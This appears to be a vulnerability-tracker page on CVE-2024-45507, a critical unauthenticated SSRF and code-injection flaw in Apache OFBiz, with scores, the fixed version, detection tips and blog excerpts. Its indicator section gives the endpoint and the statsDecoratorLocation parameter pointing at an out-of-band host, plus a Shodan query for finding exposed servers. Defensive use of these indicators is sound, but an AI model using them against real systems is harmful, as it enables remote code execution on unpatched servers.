CVE-2024-45507
published 2024-09-04CVE-2024-45507: Server-Side Request Forgery (SSRF), Improper Control of Generation of Code ('Code Injection') vulnerability in Apache OFBiz. This issue affects Apache OFBiz…
PriorityP192critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
93.38%
99.8th percentile
Server-Side Request Forgery (SSRF), Improper Control of Generation of Code ('Code Injection') vulnerability in Apache OFBiz.
This issue affects Apache OFBiz: before 18.12.16.
Users are recommended to upgrade to version 18.12.16, which fixes the issue.
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apache | ofbiz | < 18.12.16 | 18.12.16 |
| apache | ofbiz | — | — |
| apache_software_foundation | apache_ofbiz | < 18.12.16 | 18.12.16 |
Detection & IOCsextracted from sources · hover to see the quote
url/webtools/control/view/StatsSinceStart
otherstatsDecoratorLocation=http%3a//oast.fun/x%3fb64_body%3d{{urlencode(urlencode(base64(xml)))}}
otherStatsScreens
- →Detect exploit attempts by monitoring POST requests to /webtools/control/view/StatsSinceStart with a body containing the 'statsDecoratorLocation' parameter pointing to an external host — this is the SSRF/RCE trigger endpoint.
- →Successful exploitation returns a response body containing the string 'StatsScreens'; use this as a confirmation indicator in combination with the POST to the vulnerable endpoint.
- →Shodan query 'ofbiz.visitor=' can be used to identify exposed Apache OFBiz instances; correlate with inbound exploit traffic to the vulnerable path.
- →The vulnerability is exploitable with no valid credentials (unauthenticated); alert on POST requests to /webtools/control/view/* paths from unauthenticated sessions (no valid session cookie).
- →The attack uses SSRF via the 'statsDecoratorLocation' parameter with a base64+URL-encoded XML payload; inspect POST bodies for this parameter containing external URLs or OOB interaction hostnames.
- →Fixed in commit ffb1bc4879 in version 18.12.16; systems running Apache OFBiz before 18.12.16 are vulnerable and should be prioritized for patching. ↗
- ·The exploit payload uses a base64+double-URL-encoded XML body delivered via the 'statsDecoratorLocation' parameter; detection rules inspecting POST bodies must decode URL encoding to reliably identify malicious payloads.
- ·The vulnerability affects both Linux and Windows deployments of Apache OFBiz; detection and patching scope should cover all OS platforms.
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vulncheck9.8CRITICAL
vendor_apache9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-w8w4-463p-8pg7: Server-Side Request Forgery (SSRF), Improper Control of Generation of Code ('Code Injection') vulnerability in Apache OFBiz
ghsa_unreviewed·2024-09-04
CVE-2024-45507 [HIGH] CWE-918 GHSA-w8w4-463p-8pg7: Server-Side Request Forgery (SSRF), Improper Control of Generation of Code ('Code Injection') vulnerability in Apache OFBiz
Server-Side Request Forgery (SSRF), Improper Control of Generation of Code ('Code Injection') vulnerability in Apache OFBiz.
This issue affects Apache OFBiz: before 18.12.16.
Users are recommended to upgrade to version 18.12.16, which fixes the issue.
VulnCheck
Apache OFBiz Improper Control of Generation of Code ('Code Injection')
vulncheck·2024·CVSS 9.8
CVE-2024-45507 [CRITICAL] Apache OFBiz Improper Control of Generation of Code ('Code Injection')
Apache OFBiz Improper Control of Generation of Code ('Code Injection')
Server-Side Request Forgery (SSRF), Improper Control of Generation of Code ('Code Injection') vulnerability in Apache OFBiz.
This issue affects Apache OFBiz: before 18.12.16.
Users are recommended to upgrade to version 18.12.16, which fixes the issue.
Affected: Apache OFBiz
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://dashboard.shadowserver.org/statistics/honeypot/vulnerability/map/?day=2024-12-05&host_type=src&vulnerability=cve-2024-45507; https://dashboard.shadowserver.org/statistics/honeypot/vulnerability/map/?day=2024-12-11&host_type=src&vulnerability=cve-2024-45507; h
Apache
Apache ofbiz: CVE-2024-45507
vendor_apache·CVSS 9.8
CVE-2024-45507 [CRITICAL] Apache ofbiz: CVE-2024-45507
Apache ofbiz: CVE-2024-45507
; affected releases before 18.12.16; fixed in 18.12.16 with commit ffb1bc4879
No detection rules found.
Nuclei
Apache OFBiz - Remote Code Execution
nuclei·CVSS 9.8
CVE-2024-45507 [CRITICAL] Apache OFBiz - Remote Code Execution
Apache OFBiz - Remote Code Execution
Apache OFBiz below 18.12.16 is vulnerable to unauthenticated remote code execution on Linux and Windows. An attacker with no valid credentials can exploit missing view authorization checks in the web application to execute arbitrary code on the server
Template:
id: CVE-2024-45507
info:
name: Apache OFBiz - Remote Code Execution
author: chybeta,iamnooob,rootxharsh,pdresearch
severity: critical
description: |
Apache OFBiz below 18.12.16 is vulnerable to unauthenticated remote code execution on Linux and Windows. An attacker with no valid credentials can exploit missing view authorization checks in the web application to execute arbitrary code on the server
impact: |
Unauthenticated attackers can exploit missing view authorization checks to execute arb
Sentinelone
Prioritizing CVEs in the Cloud
blogs_sentinelone·2025-05-15
Prioritizing CVEs in the Cloud
## Foreword & Guest Bio
As part of this ongoing series, SentinelOne is excited to present a series of guest blogs from cloud security experts covering their views on cloud security best practices. Following on from blogs from Teri Radichel who focused on what AWS security gotchas to avoid and how to address the risk of faulty logic. We now have Rami McCarthy providing his view on cloud CVEs, and approach to vulnerability prioritization.
Rami is a self-proclaimed “security wonk”. Most recently, he helped build the Infrastructure Security program at Figma. Before that, he worked as a security consultant and helped scale security for a health-tech unicorn. He writes extensively about security over at ramimac.me and elsewhere.
## Introduction
Common Vulnerabilities and Exposures (CVEs) are
Sentinelone
Prioritizing CVEs in the Cloud
blogs_sentinelone·2025-05-15
Prioritizing CVEs in the Cloud
## Foreword & Guest Bio
As part of this ongoing series, SentinelOne is excited to present a series of guest blogs from cloud security experts covering their views on cloud security best practices. Following on from blogs from Teri Radichel who focused on what AWS security gotchas to avoid and how to address the risk of faulty logic. We now have Rami McCarthy providing his view on cloud CVEs, and approach to vulnerability prioritization.
Rami is a self-proclaimed “security wonk”. Most recently, he helped build the Infrastructure Security program at Figma. Before that, he worked as a security consultant and helped scale security for a health-tech unicorn. He writes extensively about security over at ramimac.me and elsewhere.
## Introduction
Common Vulnerabilities and Exposures (CVEs) are
Greynoiseio
NoiseLetter October 2024
blogs_greynoiseio
NoiseLetter October 2024
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
2024-09-04
Published
Exploited in the wild